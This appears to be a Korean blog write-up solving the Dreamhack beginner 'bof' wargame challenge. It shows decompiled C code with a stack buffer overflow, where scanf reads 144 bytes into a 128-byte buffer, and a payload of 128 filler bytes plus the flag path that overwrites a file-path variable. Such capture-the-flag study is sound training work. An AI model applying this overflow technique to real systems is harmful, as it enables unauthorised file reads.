CTF, War game

[Dreamhack] beginner: bof

mnzy๐ŸŒฑ 2024. 8. 3. 21:53

1. ๋ฌธ์ œ

https://dreamhack.io/wargame/challenges/1111

 

bof

Description Buffer overflow is one of the basics of pwnable ๐Ÿฑ The path of the flag file is /home/bof/flag.

dreamhack.io

  • The path of the flag file is /home/bof/flag.

2. ํ’€์ด

(1) ์ฝ”๋“œ ํ™•์ธ

main(): ์‚ฌ์šฉ์ž์˜ ์ž…๋ ฅ์„ ๋ฐ›์•„ read_cat()ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๊ณ  ์ž…๋ ฅ์„ ์ถœ๋ ฅํ•˜๋Š” ์ฝ”๋“œ์ด๋‹ค. 

์ด๋•Œ ./cat ์ด ์ €์žฅ๋˜๋Š” v5๋ณ€์ˆ˜๋Š” 16๋ฐ”์ดํŠธ์ด๊ณ , ์ž…๋ ฅ๊ฐ’์€ 128 ๋ฐ”์ดํŠธ์˜ ํฌ๊ธฐ์ด๋‹ค. ์ฆ‰,  v4์˜ ํฌ๊ธฐ๊ฐ€ 128๋ฐ”์ดํŠธ์ธ๋ฐ, scanf๋กœ ์ตœ๋Œ€ 144๋ฐ”์ดํŠธ๋ฅผ ์ฝ์–ด๋“ค์ด๋ฏ€๋กœ, bof๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์ด๋‹ค. 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[128]; // [rsp+0h] [rbp-90h] BYREF
  char v5[16]; // [rsp+80h] [rbp-10h] BYREF

  init(argc, argv, envp); // ์ดˆ๊ธฐํ™” ํ•จ์ˆ˜ ํ˜ธ์ถœ
  strcpy(v5, "./cat"); // v5์— "./cat" ๋ฌธ์ž์—ด ๋ณต์‚ฌ
  printf("meow? ");
  __isoc99_scanf("%144s", v4); // ์ž…๋ ฅ
  read_cat(v5); // read_cat ํ•จ์ˆ˜ ํ˜ธ์ถœ
  printf("meow, %s :)\n", v4); // ์ž…๋ ฅ ์ถœ๋ ฅ
  return 0;
}

 

read_cat(): ์ฃผ์–ด์ง„ ํŒŒ์ผ ๊ฒฝ๋กœ(v5)๋ฅผ ์—ด๊ณ , ์ตœ๋Œ€ 128๋ฐ”์ดํŠธ์˜ ๋‚ด์šฉ์„ ์ฝ์–ด์„œ ์ถœ๋ ฅํ•œ๋‹ค. (ํŒŒ์ผ ๋‚ด์šฉ ์ถœ๋ ฅ)

๋”ฐ๋ผ์„œ ์ž…๋ ฅ๊ฐ’์œผ๋กœ 128๋ฐ”์ดํŠธ+flag์˜ ๊ฒฝ๋กœ๋ฅผ ์ฃผ๋ฉด v5์— ์˜ํ–ฅ์„ ์ค„ ๊ฒƒ์ด๋‹ค. 

int __fastcall read_cat(const char *a1)
{
  int result; // eax
  char s[128]; // [rsp+10h] [rbp-90h] BYREF
  ssize_t v3; // [rsp+90h] [rbp-10h]
  int fd; // [rsp+9Ch] [rbp-4h]

  memset(s, 0, sizeof(s));
  fd = 0;
  fd = open(a1, 0);
  if ( fd == -1 )
  {
    puts("open() error");
    exit(1);
  }
  v3 = read(fd, s, 0x80uLL);
  if ( v3 == -1 )
  {
    puts("read() error");
    exit(1);
  }
  puts(&byte_40201E);
  puts(s);
  result = close(fd);
  if ( result )
  {
    puts("close() error");
    exit(1);
  }
  return result;
}

 

ํŽ˜์ด๋กœ๋“œ ์ƒ์„ฑ

payload = 'a' * 128
print(payload)
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/home/bof/flag

 

flag ํš๋“ ์„ฑ๊ณต